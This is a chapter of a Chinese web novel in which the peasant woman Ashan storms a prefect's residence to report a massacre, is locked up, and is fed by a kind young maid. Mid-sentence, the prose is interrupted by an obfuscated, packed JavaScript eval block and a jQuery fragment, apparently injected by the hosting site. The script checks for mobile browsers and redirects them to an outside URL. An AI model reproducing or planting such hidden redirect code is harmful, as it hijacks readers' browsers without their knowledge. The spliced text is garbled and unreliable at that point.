6.05
作品:《论农妇成为女帝的一百种方法》 “你……”阿善的声音带着颤音,“你到底是人……是鬼?”
那声音却没再回应。
阿善汗流浃背的从地上站起,脚尖在泡湿的布鞋里蜷了蜷,咬牙提气,正要迈步,那声音又幽幽地来了一句,“别带柴刀。”
阿善抓起腰间的柴刀一丢,眼睛一闭一睁,攥紧双拳,用她全身的力气,在伏阳逐渐震惊的目光中,冲向刺史府的大门,‘咚’地一声把门撞开,把门内正要关门的两个小厮‘咻’一下撞飞出去,咕噜噜倒在草丛里,冲进了刺史府。
阿善扯开嗓子就是嚎,“梁坚王八蛋!!我要见刺史!我要见刺——史——!”
这一嗓子嚎的中气十足,把梁下札窝的麻雀都惊得叫起来。阿善什么也不管了,什么也不顾了,依稀听见伏阳好像在身后追赶她的声音,也再顾不了那么多,只向着院子里拼了命地冲去。
原本安静的刺史府,一下子变得鸡飞狗跳。
府中的下人想要要拦,可阿善跟个蛮牛一样不要命的横冲直撞,他们死活也堵不住,只得连连的唤人,一边围住阿善,一边急叫:“快拦住这疯丫头!她——哎呀!待会儿要是把刺史大人惊到了!咱们全要完蛋!快拦着啊!”
“刺史——!我要见刺史!王八蛋梁坚!!”
“谁在那里嚷嚷,还不快给我闭嘴!”一声怒喝从楼阁上传来,众人立刻齐刷刷地跪下,阿善闻声抬头,只见一穿着紫锦袍的中年男子,在一美婢的搀扶下从屋内走出。
阿善环视身边众人,咚一声双膝跪地,双手高举血书,“刺史大人!民女乃城外阿家村村民,幽州牧梁坚,纵兵于并州境内烧杀劫掠,害死我全村性命!血书与物证在此!”
此话一出,在场众人皆倒吸了一口冷气,孙颖闻言怒斥:“放肆!若那梁坚当真来了晋阳,我身为一州刺史,岂能不知道?哪里来的疯丫头,在这里危言耸听,说些疯话就罢了,还敢擅闯刺史府!来人,把她给我抓起来!”
阿善瞳孔惊颤,不可置信地连忙高喊:“孙刺史!民女所言半句不假!若有半句假话,我遭天打雷劈——我死无全尸!”
伏阳快步走入院中,刚跪地作揖,孙颖拿过身旁婢女的扇子向下一扔,重重砸在了伏阳的额角,磕出一道血痕。
阿善见状身体一颤,话也哽在了喉头。孙颖指着伏阳骂道:“伏阳!你来得正好,我倒是想要问问,你这城门都尉是怎么做的,她是怎么被放进城来的!”
“回禀刺史,此女说有军机急报,我见她所言不假,怕延误军机要事,才带她进城禀报。方才,刘大人也得知了此事,派人去调查了。”
“刘忠?他昨儿不还亲口和我说,梁坚绝不可能再来并州的吗?”
伏阳眉头紧紧皱起,抬头意义不明地看了孙颖一眼,没有接话。
“算了,你们一个两个全是不中用的酒囊饭袋!先把她关进柴房,听我发落。”
“刺史大人,刘大人方才下令,让我负责安置这人。”
“她进了刺史府的门,就是我说了算,再要废话,我连你一同革职查办。”
伏阳目光盯了阿善一眼,那视线看的阿善背上毛毛的。他再未说话,起身向孙颖作揖鞠躬,转身大步离去。
没等阿善再开口,那刺史孙颖已经搂着婢女转身进屋,她也被几个家丁从地上拉起,捆了个严严实实,扛起带走。
待阿善被五花大绑着扔进暗房,她才终于明白,为什么以前乡长每每从城里回来的时候,都会在村头大骂并州刺史孙颖,是吃饱了的牛肚子,纯纯的草包。
阿善从地上缓缓坐起,看着自己身上被捆的绳子,想要试着挣脱——可除了越挣脱捆的越紧外,她的努力没有什么效果。
阿善只觉得不解,怎么整个并州老百姓全知道的事情,这些当官的,反而都不相信呢?
就算是探子没有消息来,就算是除了她,梁坚劫掠过的村子没有活口留下来,可那十几万大军是人,又不是鬼,行军扎营,吃喝拉撒,总有人看见吧?在百姓里面,在流民里面,打听一下也总会知道了,总不能整个并州的官,全都瞎了,整个晋阳的官,全都聋了哑了,偌大的州府,竟然一点风声也没有听见?难道他们真要等梁坚的兵到了城底下,真要见了黄河才死心?
阿善看着窗外雷雨交加的天,怎么想也想不明白。
忽地,她打了一个恶寒,后知后觉地环顾四周,压低声音,悄悄地问:“神……神仙……?你,你是神仙祖宗吗?”
静悄悄的,没有动静。
“神仙祖宗,我听了你的话,闹完了,面见了,可是,这下被关起来了,我如今要怎么办呀?”
还是没有动静。
阿善感觉身上止不住的发凉,一次两次,她还能骗骗自己是听错了,可如今她确认,一定是有个男人的声音在说话,而且这声音,只有她一个人能听见。
难道……她……她疯了?还是招了哪里的……不干净的东西……
阿善不死心地又低声喊:“神仙祖宗?”
门吱呀一声被人打开,阿善吓得脚一打滑跌在地上,回头看,只见是一个端着食盒,梳着双个圆发髻,半人高的小丫鬟。
那小丫鬟眨了眨眼睛,好奇地问:“你真是个疯子?”
阿善立刻站起,“我不是!我没有疯,我方才说的都是真的。”
“那你不是疯子,方才一个人嘀咕什么神仙祖宗呢?”
“我……”
“其实,我瞧你也不像疯子。”小丫鬟把手中的食盒放在地上,“我见过疯了的人,都是鼻歪眼斜的,说一句话能哭上一个钟呢,可吓人了。”
“你是……?”
“是伏大人差我来的,说让我看着你点,别让你饿死在这儿。”小丫鬟半蹲在地上,打开食盒,取出小碟,那碟子上的酱饼还冒着热气。她端起碟子递给阿善,“快吃吧。”
阿善立刻扑上去,拿起酱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137915|164395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饼狼吞虎咽地吃起来。她从村子到晋阳城,走了整整一天一夜,路上没歇气也没吃饭,本来不觉得多饿,可这会儿闻到饼的味道,肚子便饿的一阵一阵开始绞痛。
“你慢点吃呀,这还有汤,别噎着了。”小丫鬟又把汤罐子取出来,递到阿善面前,阿善赶忙接过,一口气喝了个精光,才感觉喘了一口气。
热汤热饼,吃的人从胃里连带着身上都暖和起来。吃着吃着,阿善的眼泪鼻涕都流了下来,小丫鬟立刻从袖口取出帕子,赶忙把阿善的脸擦干净。
“哎呀,鼻涕要是粘到饼子那还怎么吃嘛!你要哭的话,就哭完再吃好了!”
阿善立刻两口将手里的饼子塞进嘴里,袖子将脸胡乱一模擦干净,涨着通红的眼睛,对着小丫鬟俯身就要磕头,小丫鬟‘哎’了一声,立刻拦住。
“谢谢你……这份大恩,我……来日一定会报!我会一辈子都记住的!”
“你客气啦,我就是按照伏大人的吩咐办事而已。”小丫鬟把帕子塞到阿善手里,缓缓站起身,“你身上全湿了,这样定要生病的,我回去给你拿身衣裳,你先凑合穿,刺史他估计十天半个月的,才会想起来见你,你可能要在这儿待上一段时间了。”
“十天……?可顶多三四天,梁坚的大军就会到了,难道刺史什么都不准备做吗?就这么……”
“说是十天,其实也保不准,看方才伏大人的意思,也可能明天就带你出去了,反正你也别急,该吃饭吃饭,该睡觉睡觉,等我的消息。”小丫鬟把食盒收起来,有些好奇地悄悄凑到阿善耳边,“我还是第一次见有人敢这么大闹刺史府的!你真是胆子大,你叫什么名字呀?”
“姜阿善,你呢?”
“平安!”
阿善闻言一震,“你……你叫什么?”
“平安呀?”
“我……有个女儿,也叫平安。”阿善攥紧双手,“如果她还活着的话,如今应该两岁了。”
“你吓死我了!我从小没娘,方才还以为你说,我可能是你的女儿呢。”平安睁大眼睛,“还活着是什么意思?难道你连你女儿是死是活,都不知道?”
阿善垂着眼眸,良久,点了点头。
“一年前,平安一岁的时候,恰好得了天花,家里为了阿爷治病,钱都花光了,没有钱再给平安治病。我背着她,从村里求到城里,见人就跪,见车就磕,终于求到了一家老医师的门前,他答应给平安治病,不要诊费药钱,只是不论治的活,治不活,都要把平安给他。”
“啊?这该死的老翁!怎么趁人生病就抢别人的闺女!那你给了吗?”
“那老医师不像是个心肠坏的人,若是真能活下来,我愿意把平安给他,心里也没有怨恨。只是后来,那老医师忽地走了,什么信也没留下,我没了平安的下落,如今一年过去,我都不知道她……是不是还活着。”
“那你丈夫呢?怎么不听你说你丈夫?他就不管不顾你们吗?”